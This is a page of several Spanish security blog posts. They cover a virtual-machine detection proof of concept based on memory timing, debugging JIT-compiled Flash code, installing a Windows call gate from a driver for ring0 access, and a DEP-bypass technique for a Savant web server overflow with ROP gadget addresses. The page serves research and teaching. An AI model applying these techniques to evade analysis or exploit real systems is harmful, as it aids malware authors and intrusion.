48Bits Blog » Ingeniería inversa

Jugando con Samepage Merging

erg0t — Tue, 16 Mar 2010 22:47:44 +0000

ACTUALIZACIÓN: 1/5/2010 Incluyo un pequeño cambio en el codigo del PoC que había hecho el cual mejora muchisimo los resultados, lamentablemente no tengo tiempo de rehacer las graficas y las conclusiones. Pruebenlo que ahora los resultados son mucho mas notables

Hola audiencia de 48bits, hoy les voy a contar un poco sobre una cualidad que tienen ciertos entornos de virtualizacion, la cual podemos aprovechar para detectar los mismos.

El método que propongo esta basado en timing analysis, pero no sobre el tiempo de ejecución de determinadas instrucciones, sino que sobre los tiempos de acceso a memoria. Se han utilizado técnicas similares para detectar VMMs (incluyendo VT). Un método conocido es medir el tiempo de acceso a memoria con cache on/off, por lo general el VMM no permite desactivar el cache, entonces si ambas mediciones dan resultados similares significa que estamos dentro de un entorno virtual.

A diferencia de esa técnica, la manera que he encontrado no requiere ring0 y además es bastante sencilla. Claro que tiene ciertas limitaciones, no sirve para detectar cualquier VM, solo aquellas que implementen samepage merging (hasta ahora solo hice pruebas con KVM-KSM y VMware).

Supongo que tendré que explicar un poco en que consiste esto del samepage merging (desde ahora SM porque soy vago). El SM esta muy relacionado con el CoW (Copy on Write). Básicamente se trata de un thread que periódicamente recorre la memoria y une todas las páginas cuyo contenido es exactamente el mismo. Una vez unidas las páginas, el resto del proceso es exactamente un CoW, se comparte la misma page frame y se marca la página como read-only, cuando se intenta realizar una escritura, el manejador de excepciones se encarga de asignar una nueva página.

Este tipo de estrategia es bastante costosa por lo que no se suele utilizar sobre toda la memoria del sistema operativo. Sin embargo es muy tentador utilizarla en entornos virtualizados ya que se ahorran cantidades considerables de ram, el beneficio es máximo cuando se corren varios guests simultanea-mente.

En linux disponemos de KSM (Kernel Samepage Merging), este se puede activar y desactivar en el vuelo. Cualquier versión reciente de KVM saca provecho de KSM si se encuentra activado. La idea original sobre este tipo de tecnologías parece pertenecer a VMware y al parecer hubo ciertos problemas de patentes con KSM, lo importante a destacar es que si podemos aprovecharnos de KSM seguramente también podemos hacerlo de VMware.

Ya con todo esto un poco explicado, algunos deben estarse preguntando que pasaría si medimos los tiempos de acceso a memoria antes y después de que el KSM (o VMware) actue sobre la memoria del guest. Es justamente lo que vamos a averiguar

Para logralo he escrito un PoC bastante cutre pero útil a nuestros propósitos. A continuación, el código (que no es muy bonito que digamos), y le sigue su descripción.

Nuevo PoC!

/*
* smdetect.cpp
*
* Created by Daniel Fernandez (soyf...@48bits.com) on 19/03/2010
*
* Copyright (c) 2010 48BITS
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* Neither the name of the project’s author nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/

#include
#include
#include
#include

#ifdef _WIN32
#include
#else
#include
#endif

class Buffer
{
int *buffer;
unsigned int size;

unsigned long long gettime()
{
struct timeval tv;

gettimeofday(&tv, NULL);
return ((unsigned long long) tv.tv_sec) * 1000000ULL +
(unsigned long long) tv.tv_usec;
}

public:

enum Exceptions
{
ALLOC_FAILED,
LOCK_FAILED,
};

Buffer(unsigned int sz, bool locking, unsigned int seconds) : size(sz)
{
#ifdef _WIN32
HANDLE hProcess(GetCurrentProcess());
SIZE_T minws, maxws;

buffer = (int *) VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);

if (buffer == NULL)
throw ALLOC_FAILED;

if (locking == true)
{
GetProcessWorkingSetSize(hProcess, &minws, &maxws);
SetProcessWorkingSetSize(hProcess, minws + size, maxws + size);

if (VirtualLock(buffer, size) == 0)
throw LOCK_FAILED;
}
#else
buffer = (int *) mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE |
MAP_ANONYMOUS, 0, 0);

if (buffer == MAP_FAILED)
throw ALLOC_FAILED;

if (locking == true && mlock(buffer, size) == -1)
throw LOCK_FAILED;
#endif
for (unsigned int x(0); x != size/sizeof(int); ++x)
buffer[x] = 0x443d3d38;
#ifdef _WIN32
Sleep(seconds * 1000);
#else
sleep(seconds);
#endif
}

~Buffer()
{
#ifdef _WIN32
VirtualUnlock(buffer, size);
VirtualFree(buffer, 0, MEM_RELEASE);
#else
munmap(buffer, size);
#endif
}

unsigned long long measureWrite()
{
unsigned long long start(gettime());

for (unsigned int x(0); x != size/sizeof(int); x += 4096/sizeof(int))
buffer[x] = x;

return gettime() – start;
}
};

unsigned long long getTime(unsigned int bsize, bool locking,
unsigned int sleep_seconds = 0)
{
Buffer buf(bsize, locking, sleep_seconds);
return buf.measureWrite();
}

int main(int argc, char *argv[])
{
unsigned int buffer_size(15*1024*4096);
unsigned int sleep_time(60);
unsigned int threshold(500);
bool locking(true);
char c;

while ((c = getopt(argc, argv, "pm:s:t:")) != -1)
{
switch(c)
{
case ‘p’:
locking = false;
break;
case ‘m’:
buffer_size = (atoi(optarg) * 1024 * 1024) & ~4095;
break;
case ‘s’:
sleep_time = atoi(optarg);
break;
case ‘t’:
threshold = atoi(optarg);
break;
case ‘?’:
std::cout << "\nOptions:\n"
<< "-m size\t buffer size in Mb (default 60mb)\n"
<< "-s time\t sleep time in second (default 60secs)\n"
<< "-t num\t threshold (default 98)\n"
<< "-p\t disable locking (default enabled)"
<< std::endl;
return -1;
}
}

try
{
unsigned long long t1(getTime(buffer_size, locking));
unsigned long long t2(getTime(buffer_size, locking, sleep_time));

// avoid division by zero
if (t1 == 0)
t1 = 1;

int variation((std::abs((long long)(t2 – t1))*100)/t1);

std::cout << "First write: " << t1
<< "\nSecond write: " << t2
<< "\nVariation: " << variation << "%\n"
<< (variation >= threshold ? "VMM detected!" : "no VMM detected")
<< std::endl;
}
catch (Buffer::Exceptions e)
{
if (e == Buffer::ALLOC_FAILED)
{
std::cout << "Can’t alloc buffer, try with a smaller size (-m)\n"
"Or check your capabilities" << std::endl;
}

if (e == Buffer::LOCK_FAILED)
{
std::cout << "Can’t lock buffer, check your capabilities\n"
"Or use -p flag" << std::endl;
}
}

return 0;
}

El código puede ser compilado con visual studio, y lo ideal es compilarlo para release.

Ahora se compila con: g++ -O3 smdetect.cpp -o smdetect
Funciona tanto en linux como en windows (mingw).

Ahora unas gráficas con los resultados en distintos entornos:

Las gráficas corresponden a 10 ejecuciones de smdetect por cada entorno. Si todo fuera perfecto deberían ser lineas horizontales, pero factores externos como la carga del sistema hacen variar bastante los resultados.

Se puede apreciar una diferencia notable entre los casos donde no hay VMM y en los que la hay. Un caso curioso se da con OSX, donde la diferencia es apenas un 100% estando más cerca de los resultados donde no hay VMM. Incluso en una prueba llego a dar ~30% lo cual lo hace un target muy dificil de detectar.

Mirando las gráficas y sin considerar OSX, podriamos establecer un umbral de 150% para la detección. Incluyendo los datos de OSX he decidido utilizar un 98%, aún asi pueden darse falsos negativos en OSX y un umbral tan bajo podría llegar a dar falsos positivos si se dan ciertas condiciones.

Conclushion!

Tenemos un nuevo método, que si bien no es 100% confiable, puede ser utilizado de forma práctica y es posible refinarlo mucho más. Una posibilidad es la utilización de heurísticas para ajustar el umbral en función a información sobre la carga del sistema. Otro tema pendiente es la enorme espera que hay que realizar entre mediciones, pero esto no creo que sea un impedimento para muchos autores de malware…

Aqui se acaba

PD: lo siento Javi y Marconi por meter otro post en tan poco tiempo (parece ser que siempre ocurre lo mismo, pueden pasar meses sin movimiento y luego abalancha de posts).

Debuggeando código JITeado de ActionScript

Ariel E. Coronel — Mon, 15 Feb 2010 21:20:27 +0000

Luego de leer el paper presentado por Dionysus Blazakis en Black Hat DC 2010, me dieron ganas de ver un poco de que trata el rollo, pues sin tener conocimientos de como funciona ActionScript, nos la rebuscamos para debuggear con el Ollydbg el código JITeado de un ActionScript.

Herramientas a utilizar:

Ollydbg
IDA
Java JRE ( el compilador del redtamarin es un jar )
redtamarin ( http://code.google.com/p/redtamarin )
Alchemy ( http://labs.adobe.com/downloads/alchemy.html )
Process explorer o task manager

En su blog hace tiempo escribió una entrada llamada “Getting Pointers from Leaky Interpreters”, en la que explica como armando diccionarios de hash tables, se puede obtener un puntero hacia nuestro código.

En ese post, el mostró un ejemplo hecho en actionscript que en ese momento no supo como compilarlo como SWF, pero menciono que compilador estaba utilizando a la hora de sus pruebas.
Nuestro objetivo sera crear un SWF con un texto al estilo “Hola mundo”, y algunos XORs asi probamos que tan bien nos va identificando el código.

Primer paso: Herramientas.

Para poder generar nuestro swf a partir de un archivo .as ( actionscript ), necesitaremos descargar el redtamarin y el Alchemy.
El redtamarin es el compilador ( asc.jar ) que utilizaremos para nuestro actionscript, el Alchemynos dara la lib playerglobal.abc.
Copiaremos este ultimo file dentro del folder del tamarin como primer paso.

Segundo paso: example.as

package {

import flash.display.*;
import flash.text.*;

public class example extends Sprite {
public function example() {
var text = new TextField();
text.width = 400;
text.x = 0;
text.y = 0;
text.text = ‘looking for help’;
addChild(text);
}
}
}

Creo que no hace falta describir que hace esto xD

Tercer paso: Hacer nuestro swf !

Para generar un swf a partir de nuestro example.as iremos al cmd y ejecutaremos el asc.jar de la siguiente manera:

java -jar asc.jar -swf example,400,400 -import builtin.abc -import playerglobal.abc example.as

Lo único a comentar aquí es que el parámetro swf tiene como parámetros: classname,width,height.

El resultado de la ejecución en nuestro caso es: example.swf, 645 bytes written

Para ver nuestro swf podemos simplemente volcarlo dentro de nuestro navegador, o hacer algún simple html que lo cargue:

Vemos que va bien.. ahora le agregamos un simple while(true) para que podamos usarlo para encontrar el código JITeado.

package {

import flash.display.*;
import flash.text.*;

public class example extends Sprite {
public function example() {
var text = new TextField();
text.width = 400;
text.x = 0;
text.y = 0;
text.text = ‘looking for help’;
addChild(text);
while(true);
var a = (0xAAAAAAAA ^ 0xBBBBBBBB ^ 0xCCCCCCCC ^ 0xDDDDDDDD );
}
}
}

Aprovechamos y también le agregamos algunos valores para que los xoree, y de paso ver si lo podemos identificar en el debugger mientras vamos traceando.

Cuarto paso: Debuggear el codigo JITeado.

Abrimos nuestro html, y antes de cargar el swf nos pide permiso para ejecutarlo, aquí nos attacheareamos con el Olly al IE8 en nuestro caso y veremos mínimo dos procesos del iexplore.exe corriendo, vamos a attacheanos al que tiene como window name Sysfader.

El taskmanager o el process explorer lo dejaremos minimizado al tray asi podemos estimar que cuando entramos al loop infinito en nuestro código JITeado.

Le daremos Run al Olly, parara algunas veces en memory breakpoints en el flash10b pero nosotros seguiremos hasta que no tire excepciones y el cpu este como mencionamos anteriormente trabajando de manera constante al 100% ( en caso de que sea single core ), en este momento pausamos el proceso.

Iremos a la ventana de Threads, y buscaremos el nuestro que estará en el heap, ya que la mayoría van a estar parados en la ntdll sera sencillo encontrar el único thread diferente.

Aquí pueden pasar dos cosas: la primera es que no estemos en el loop infinito, entonces empezaremos de 0 nuevamente, o bien puede ocurrir que encontremos el thread parado en el heap como en este caso:

Ahora veamos el codigo algo mas completo:

"font-size: x-small;">019C01E1 MOV EAX,DWORD PTR DS:[25EB0D8]
019C01E7 TEST EAX,EAX
019C01E9 JNZ 019C025F
019C01EF MOV EAX,1
019C01F4 TEST EAX,EAX
019C01F6 JNZ 019C01E1
019C01FC PREFIX REPNE:
019C01FD MOVUPS XMM0,DQWORD PTR DS:[25815E0]
019C0204 PREFIX REPNE:
019C0205 MOVUPS XMM1,DQWORD PTR DS:[25815E8]
019C020C PREFIX REPNE:
019C020D MOVUPS DQWORD PTR SS:[EBP-2C],XMM1
019C0211 PREFIX REPNE:
019C0212 MOVUPS DQWORD PTR SS:[ESP-8],XMM0
019C0217 SUB ESP,8
019C021A CALL Flash10d.101F1C30
019C021F ADD ESP,8
019C0222 MOV EBX,EAX
019C0224 PUSH DWORD PTR SS:[EBP-28]
019C0227 PUSH DWORD PTR SS:[EBP-2C]
019C022A CALL Flash10d.101F1C30
019C022F ADD ESP,8
019C0232 XOR EBX,EAX
019C0234 PREFIX REPNE:
019C0235 MOVUPS XMM0,DQWORD PTR DS:[25815F0]
019C023C PREFIX REPNE:
019C023D MOVUPS DQWORD PTR SS:[ESP-8],XMM0
019C0242 SUB ESP,8
019C0245 CALL Flash10d.101F1C30
019C024A ADD ESP,8
019C024D XOR EBX,EAX
019C024F XOR EBX,DDDDDDDD ; It looks familiar right ?
019C0255 MOV EAX,4
019C025A JMP 019C0267
019C025F MOV ECX,DWORD PTR SS:[EBP+8]
019C0262 CALL Flash10d.1020E410

Quinto paso: Automatizando con un script

Hay varios caminos para tomar a la hora de llegar a donde empieza realmente nuestro código JITeado, adjunto un simple ODbgScript que mediante hardware breakpoints en VirtualProtect nos guiara hacia la presa
Ejecutarlo una vez que tira la primer excepción como explicamos mas arriba en el posteo.

; Get_my_JITed_AS.osc by sick

var cont
var address
var VirtualProtect

mov cont, 0
gpa "VirtualProtect", "kernel32.dll"
mov VirtualProtect, $RESULT
bphws VirtualProtect, "x"

gogo:
erun

cooking:
eob SALCHICHACONPURE

SALCHICHACONPURE:
cmp eip, VirtualProtect
je vptect
cmp eip, address
je isdone
jmp gogo

vptect:
cmp [esp+8], 100
jb gogo
mov address, [esp+4]
bphws address, "x"
jmp gogo

isdone:
inc cont
cmp cont, 1
mov address2, address
je gogo

add address, 60
bphws address, "x"
cmp cont, 2
je gogo

De aquí en mas pueden agregarle código a su Actionscript y seguir jugando

Se agradece a Acid y Gera que colaboraron con el debugging del engine de Flash.

Rootkit Arsenal, Installing a Call Gate

David Reguera — Fri, 08 Jan 2010 04:15:01 +0000

Buenas, leyendo el libro “The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System” quería matizar un par de cosas sobre el capítulo “Hooking the GDT – Installing a Call Gate”. Al final del artículo se incluye un POC driver con el soporte del WalkGDT para varios COREs entre otras.

Una Call Gate es un mecanismo en la arquitectura x86 de Intel para cambiar el nivel de privilegio de la CPU cuando se ejecuta una función predefinida llamada mediante una instrucción CALL/JMP FAR.

Una llamada a una Call Gate permite obtener un privilegio superior al actual, por ejemplo podemos ejecutar con un CALL FAR en ring3 una rutina en ring0. Una Call Gate es una entrada en la GDT (Global Descriptor Table) o en la LDT (Local Descriptor Table).

Windows no utiliza Call Gates para nada en especial, pero hay malware como el gusano Gurong.A, que instala una Call Gate a través de \Device\PhysicalMemory para ejecutar código en ring0. Un artículo que ya hablaba sobre el tema es “Playing with Windows /dev/(k)mem” de crazylord publicado en la Phrack 59.

Hoy en día no se puede hacer tan fácilmente lo de acceder a /Device/PhysicalMemory, recomiendo leer la presentación de Alex Ionescu en la RECON 2006 “Subverting Windows 2003 SP1 Kernel Integrity Protection“. También hay ejemplos por la red que usan la API ZwSystemDebugControl para instalar una Call Gate, pero como comenta el artículo de Ionescu tampoco funciona hoy en día (aunque siempre hay técnicas para reactivarlos de nuevo).

IMHO, la mejor manera para instalar una Call Gate es un driver como lo hace el ejemplo del libro Rootkit Arsenal, ahora voy a explicar el ejemplo que trae y añadir algunas cosas que veo que faltan:
Una entrada en la GDT tiene esta pinta:

typedef struct _SEG_DESCRIPTOR
{
WORD size_00_15;
WORD baseAddress_00_15;
WORD baseAddress_16_23:8;
WORD type:4;
WORD sFlag:1;
WORD dpl:2;
WORD pFlag:1;
WORD size_16_19:4;
WORD notUsed:1;
WORD lFlag:1;
WORD DB:1;
WORD gFlag:1;
WORD baseAddress_24_31:8;
} SEG_DESCRIPTOR, *PSEG_DESCRIPTOR;

Y una Call Gate es un tipo de entrada en la GDT con el siguiente aspecto:

typedef struct _CALL_GATE_DESCRIPTOR
{
WORD offset_00_15;
WORD selector;
WORD argCount:5;
WORD zeroes:3;
WORD type:4;
WORD sFlag:1;
WORD dpl:2;
WORD pFlag:1;
WORD offset_16_31;
} CALL_GATE_DESCRIPTOR, *PCALL_GATE_DESCRIPTOR;

offset_00_15: es la parte baja de la dirección de la rutina que se ejecutará en ring0, offset_16_31 es la parte alta.

selector: especifica el segmento de código, con el valor KGDT_R0_CODE (0×8), la rutina se ejecutará con privilegios de ring0.

argCount: es el número de argumentos de la rutina en DWORDs.

type: es el tipo de descriptor, para una Call Gate de 32 bits necesita el valor 0xC

dpl: es el privilegio mínimo que debe tener el código que llama para poder ejecutar la rutina, en te caso 0×3, ya que será llamada por una rutina de ring3.

Los pasos para crear una Call Gate son:

Construir la Call Gate que apunte a nuestra rutina.

Leer el registro GDTR para poder encontrar la GDT usando la instrucción: SGDT. El registro GDTR tiene la siguiente pinta:
typedef struct _GDTR
{
WORD nBytes;
DWORD baseAddress;
} GDTR;

Para obtener el número de entradas en la GDT basta con un GDTR.nBytes / 8.

Buscar una entrada libre en la GDT.

Escribir la Call Gate.

Para llamar a la Call Gate solo es necesario hacer un CALL FAR al selector de la GDT, es decir si hemos introducido la Call Gate en la entrada 6 de la GDT, la aplicación de espacio de usuario deberá ejecutar un CALL FAR 006:00000000. La otra parte del FAR CALL no sirve para nada pero debe estar en la instrucción.

La rutina de la Call Gate debe salvar los registros: EAX, ECX, EDX, EBX, EBP, ESP, ESI, EDI, EFLAGS y FS. Además debe desactivar las interrupciones con CLI. El selector de FS debe ser 0×30, después solo es necesario restaurar los registros y activar las interrupciones con STI y un RETF si se desea volver a ring3. Todo esto está sacado de nt!KiDebugService() por si te lo estás preguntando.

Bueno y ahora es el momento de los matices, el POC code del libro no tiene en cuenta la posibilidad de existir varios COREs, esto quiere decir que solo es capaz de instalar la Call Gate en el CORE que toque cuando se cargue el driver y la GDT del otro CORE queda intacta, el problema es que si la aplicación de espacio de usuario hace un FAR CALL estando en otro CORE donde no existe la Call Gate no funcionará.

En Windows es sencillo controlar esto con dos APIs: para obtener el número de COREs se puede usar un simple

GetSystemInfo:
void WINAPI GetSystemInfo(
__out LPSYSTEM_INFO lpSystemInfo
);

Para el número de COREs lógico se puede usar GetLogicalProcessorInformation.
SYSTEM_INFO tiene la siguiente pinta:

typedef struct _SYSTEM_INFO {
…
DWORD dwNumberOfProcessors;
…
}SYSTEM_INFO;

Con el campo dwNumberOfProcessors podemos realizar un bucle para ir CORE por CORE añadiendo la Call Gate, también se puede forzar al driver a instalar la Call Gate en el primer core (1) y que la aplicación de espacio de usuario solo se ejecute en el core 1, esto se consigue con la API: SetThreadAffinityMask, que es asín:

DWORD_PTR WINAPI SetThreadAffinityMask(
__in HANDLE hThread,
__in DWORD_PTR dwThreadAffinityMask
);

Pasándole un GetCurrentThread() y como AffinityMask el valor 1,

Affinity = 1;
SetThreadAffinityMask( GetCurrentThread(), Affinity );

Ojito, DWORD_PTR no es un puntero a DWORD, se pasa por valor.

Si se hace un for con el número de procesadores y con la variable índice (el primero core es 1 no 0) como Affinity puedes instalar una Call Gate en todos los cores.

En el driver que adjunto como POC desde el driver muestro la GDT de todos los COREs para mostrar lo que digo, solo saldrá la Call Gate en un CORE.

Para hacer esto desde un driver es necesario un:

ZwQuerySystemInformation( SystemBasicInformation, & system_basic_information, sizeof( system_basic_information ), NULL );

Para obtener el número de cores y un:

ZwSetInformationThread( (HANDLE) -2, ThreadAffinityMask, & AffinityMask, sizeof( AffinityMask ) );

Para cambiar de core, -2 es el equivalente del GetCurrent…

Otra cosa rara del POC del libro es que pasaba la GDT por valor y no el puntero a PrintGDT y eso me daba problemas, lo he cambiado para que se pase como PSEG_DESCRIPTOR y todo funciona sin problemas.

Y esto es todo, el código es bastante claro, espero que se haya entendido, un saludo desde 48bits.

Descargar el driver desde aquí: http://www.48bits.com/files/cgaty.rar

Driver probado en: XP y VISTA (bin driver: WinDDK 6001.17121 & XP x86 Free build).

Algunas lecturas sobre call gates:

http://www.phrack.com/issues.html?issue=59&id=16

http://en.wikipedia.org/wiki/Call_gate

http://www.intel.com/design/processor/manuals/253668.pdf
http://ricardonarvaja.info/WEB/OTROS/TUTES%20SACCOPHARYNX/
http://members.fortunecity.com/blackfenix/callgates.html

Saltándonos DEP: a lo Savant

jon — Sun, 03 Jan 2010 17:42:29 +0000

Estas últimas 3 semanas he estado picado con un bug que me decidí a salsear para seguir aprendiendo más cosas de estas que no se enseñan en la escuela. El bug en cuestión se trata de un clásico stack overflow en la version 3.1 y inferiores de Savant Web Server. A pesar de haber varios exploits ya publicados para este fallo, todos ellos estaban diseñados para funcionar en XP SP2 o inferiores. En mi caso particular se dio la coincidencia de que tengo instalada una maquina virtual de 2003 Server SP1. Este sistema tiene dos peculiaridades. La primera, es que desde Service Pack 1 incluye soporte para tecnologias DEP o lo que los chicos de Microsoft llaman prevención de ejecución de datos. La segunda tiene que ver con las politicas de implantación de DEP. Tal y como MS nos cuenta en su web, existen varias politicas definidas para ello. La que nos interesa es la llamada OptOut, la cual por defecto activa DEP para todos los procesos del sistema que explícitamente no indiquen lo contrario.

Volviendo al tema del bug en cuestión, como ya he dicho se trata de un clásico overflow de buffer en la pila. En este caso la situación se dá cuando un usuario realiza una petición HTTP que no está reconocida, o dicho de otra forma, cuando el usuario tiene ganas de marcha. He dicho que se trata de un clásico overflow en la pila, y eso no es nada nuevo. Cierto. Pero por algo hemos comentado el DEP en Windows 2003 Server SP1. Hablando en plata, lo que no he encontrado en ningún sitio es un exploit público que sobrepase DEP para este bug, y puesto que ya está hecho a lo mejor le sirve de ayuda a alguien para sus futuros planes de dominar el mundo

Bromas aparte, por motivos éticos, no voy a publicar el codigo del exploit, por dos razones basicas:

Cualquiera que séa capaz de entender este post, es capaz de escribir su propio exploit.

El bug sigue sin ser corregido en la última versión del software.

Desgraciadamente, parece ser que el proyecto lleva algún tiempo abandonado y aprovechando esto, con motivos siempre educativos, vamos a ver que se puede hacer. Odio tener que poner disclaimers en los posts, pero es mejor prevenir que curar. El que utilice lo aquí mostrado con cualquier tipo de fin, lo hace bajo su propia responsabilidad y sin ninguna garantía. Accediendo a esta pagina estas de acuerdo con lo aquí mencionado. Ahora al lio.

Si hacemos una traza del flujo de un paquete poniendo unos breakpoints en los tipicos recv() y recvfrom(), veremos que se hace uso de un wrapper en 0×00401023. Una vez recibido el paquete, se procede a analizar la cabecera para comprobar que tipo de petición se ha recibido. Si hemos tenido la mala suerte de hacer una petición que no corresponde a ninguno de los que el servidor reconoce, acabamos llegando a la rutina en 0x0040BFA0, que es donde vamos a exprimir la naranja. Lo primero que se hace en esta función es llamar a una rutina en 0×00401285 que se encarga de encadenar el path que nuestro paquete señala, al path del directorio de trabajo de Savant. A pesar de que se hacen varios usos de nuestro amigo strcpy() el bug reside hacia el final de la rutina, concretamente en:

.text:00411A6A mov edx, [ebp+arg_14]
.text:00411A6D add edx, [ebp+var_8]
.text:00411A70 mov eax, [ebp+Str1]
.text:00411A73 add eax, [ebp+var_C]
.text:00411A76 mov cl, [eax]
.text:00411A78 mov [edx], cl ; PWN stack

La cagada ya está hecha. Ahora volvemos al caller que será el encargado de redirigir la ejecución a donde nosotros le hayamos dicho. Ahora vamos a pensar que tipo de petición vamos a construir. Lo que haremos sera algo que guardara un lejano parecido con una correcta petición HTTP:

METODO | | / |

En cuanto al espacio disponible, conocemos lo siguiente:

recv() nos permite hasta un máximo de 0×4000 bytes.

METODO puede tener como máximo 24 bytes.

puede albergar un máximo de 250 bytes hasta (sin incluir) el valor ret, más 32 bytes adicionales después de este último.

Como ya he mencionado anteriormente, el jugo en este caso es saltarse la protección DEP. A pesar de que se han planteado varias soluciones, mi favorita es la propuesta por skape y Skywing en este articulo para el 2º Volumen de Uninformed. No voy a entrar en detalles de la tecnica, es una lectura bastante corta y recomendable, pero aquí os haré un resumen. Lo que trataremos de hacer, en vez de redefinir los parámetros de acceso de una región de memoria, será de desactivar DEP completamente para todo el proceso. Para ello haremos un ret2code o dicho en lenguaje llano, reutilizar codigo existente en memoria. En el articulo se demuestra una secuencia de código que yo personalmente no he encontrado en la versión española de la plataforma. Pero tras bucear entre dumps de memoria, encontramos la siguiente secuencia dentro de ntdll.dll:

.text:7C83E413 mov [ebp+var_4], 2
.text:7C83E41A
.text:7C83E41A loc_7C83E41A: ; CODE XREF: sub_7C83592A+45j
.text:7C83E41A push 4
.text:7C83E41C lea eax, [ebp+var_4]
.text:7C83E41F push eax
.text:7C83E420 push 22h
.text:7C83E422 push 0FFFFFFFFh
.text:7C83E424 call ZwSetInformationProcess
.text:7C83E429 jmp finish

Y tras el jump:

.text:7C835975 or byte ptr [esi+37h], 80h
.text:7C835979 pop esi
.text:7C83597A
.text:7C83597A locret_7C83597A: ; CODE XREF: sub_7C83592A+Dj
.text:7C83597A leave
.text:7C83597B retn 4

Ahora nos encontramos con un problema. El leave que se ejecuta justo antes de hacer ret, hace un cambio de frame en una sola instrucción y nos jode el fake frame que necesitamos para encadenar secuencias de ret’s y volver a ejecutar nuestro codigo. Así es como termina la secuencia de ejecución de 0x0040BFA0, que es la que nos da control sobre la ejecución:

.text:0040C102 pop edi
.text:0040C103 pop esi
.text:0040C104 pop ebx
.text:0040C105 mov esp, ebp
.text:0040C107 pop ebp
.text:0040C108 retn

Como se puede observar, obtenemos ebp de la pila y aunque a primera vista esto no parezca un problema, lo es. El problema radica en que el fake frame que queremos construir esta en la pila, cuyas direcciones son del tipo 0x00XXXXXX. Así pues, no podemos poner valores de ese tipo en nuestro buffer por que tiene bytes nulos y se nos desmonta la barraca. Que podemos hacer frente a esto? Lo único que se me ha ocurrido ha sido utilizar algún tipo de operador logico para construir nuestro valor en tiempo de ejecución. Lo que nos lleva a la siguiente secuencia de codigo dentro de shell32.dll:

.text:7CA0E9BC or cl, ch
.text:7CA0E9BE xor ebp, 9090FFFFh
.text:7CA0E9C4 nop
.text:7CA0E9C5 nop
.text:7CA0E9C6 nop
.text:7CA0E9C7
.text:7CA0E9C7 loc_7CA0E9C7: ; DATA XREF: .text:off_7C90FAE4o
.text:7CA0E9C7 sub dword ptr [esp+4], 20h
.text:7CA0E9CC jmp sub_7CA0DF22

Que termina saltando a:

.text:7CA0DF22 mov edi, edi
.text:7CA0DF24 push ebp
.text:7CA0DF25 mov ebp, esp
.text:7CA0DF27 push [ebp+arg_8]
.text:7CA0DF2A push [ebp+arg_4]
.text:7CA0DF2D push offset off_7C8DC0A0
.text:7CA0DF32 push [ebp+arg_0]
.text:7CA0DF35 call SHLWAPI_219
.text:7CA0DF3A pop ebp
.text:7CA0DF3B retn 0Ch

A pesar de que tenemos un call algo feo ahí, no hay nada de lo que preocuparse porque el ebp que acabamos de construir se salva con el push del prologo y el pop del epilogo. El resto del proceso de explotación no conlleva mayores cábalas. Como controlamos ebp, controlamos el ret de 0x7CA0DF3B. Bastaría con volver a algun codigo como jmp esp, para continuar ejecutando, ahora sin DEP, desde la pila. El ultimo problema que tenemos es que solo tenemos 250 bytes de espacio para albergar nuestro shellcode que, además debe estar con codificación alfanumérica. Por lo tanto, la estructura de nuestro buffer final podría ser algo así:

+ + / + + + + + + + + + + ‘\r\n\r\n’

Un par de comentarios sobre la estructura. Primero, recordar que el debe ser el adecuado para que despues del XOR obtengamos el valor que nos interesa. Segundo, los tres valores que marco como referenciables, son 3 valores de 4 bytes que apunten a una región de memoria con permisos de lectura y escritura, sino el programa no seguirá el camino que nos interesa. Por otro lado, entiendo que esta solución no es la optima y esta lejos de ser una solución universal, pero como ejemplo, pienso que demuestra un caso curioso.

Mención especial para Ruben y Joxean por su paciencia y atención!

La versión original de esto post la podeis encontrar aquí.

Exposing HMS HICP Protocol + 0day ‘light’

Ruben Santamarta — Sat, 12 Dec 2009 14:17:00 +0000

Hola buenas,

Hoy vamos a darle un par de vueltas a un protocolo propietario usado para configuración y control de ciertos dispositivos M2M de la empresa HMS.

AFAIK no hay documentación pública del protocolo HICP, si estoy equivocado que alguien me lo haga saber y me daré 40 latigazos.

Bueno el caso es que como no he conseguido encontrar nada, pues escribo esto para documentarlo un poco.Obviamente lo que voy a explicar está basado en lo que he podido sacar destripando software y cosas peores. No tiene mucho misterio, pero como es usado en todos los productos de control y monitorización industrial de la empresa HMS que incorporan capacidades de red (ethernet), creo que es interesante desde el punto de vista de la seguridad SCADA. Ya sacareís vuestras conclusiones al final del articulo.

En la segunda parte del post explicaré un fallo que he encontrado en una herramienta de configuración de los dispositivos SCADA netbiter WS100 y WS200 de la empresa intellicom. Estos están basados en Anybus RemoteCOM de HMS, por lo tanto usan HICP para su configuración. Este fallo permite ejecutar código remótamente sin ningún tipo de autentificación.

Ale, al lío!

